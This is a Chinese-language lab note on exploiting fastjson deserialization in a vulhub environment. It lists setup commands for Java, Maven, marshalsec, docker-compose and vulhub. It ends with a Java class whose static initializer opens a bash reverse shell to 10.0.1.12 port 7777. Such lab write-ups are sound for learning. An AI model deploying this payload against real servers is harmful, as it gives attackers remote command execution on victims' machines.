笔记丨fastjson反序列化从0-反弹shell

Java安装yum install -y java-1.8.0-openjdk.x86_64java -versionmeaven安装（pom.xml需要新增一行标签）wget http://repos.fedorapeople.org/repos/dchen/apache-maven/epel-apache-maven.repo -O /etc/yum.repos.d/epel-apache-maven.repoyum -y install apache-mavenmvn -vmarshalsec-master编译mvn clean package -DskipTestscd target/出现下边的表示编译成功

drwxr-xr-x. 2 root root        62月  2810:44 archive-tmpdrwxr-xr-x. 3 root root       242月  2810:43 classesdrwxr-xr-x. 3 root root       252月  2810:43 generated-sourcesdrwxr-xr-x. 3 root root       302月  2810:43 generated-test-sources-rw-r--r--. 1 root root 42566378 2月  28 10:44 marshalsec-0.0.3-SNAPSHOT-all.jar-rw-r--r--. 1 root root   101794 2月  28 10:44 marshalsec-0.0.3-SNAPSHOT.jardrwxr-xr-x. 2 root root       282月  2810:44 maven-archiverdrwxr-xr-x. 3 root root       352月  2810:43 maven-statusdrwxr-xr-x. 2 root root       312月  2810:43 test-classes

docker安装直接去阿里镜像站无脑安装docker-compose安装curl -L https://github.com/docker/compose/releases/download/v2.33.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-composechmod +x /usr/local/bin/docker-composedocker-compose --versionvulhub下载git clone https://github.com/vulhub/vulhub.git

// javac GetShell.javaimport java.lang.Runtime;import java.lang.Process;public class shell {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.1.12/7777 0>&1"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}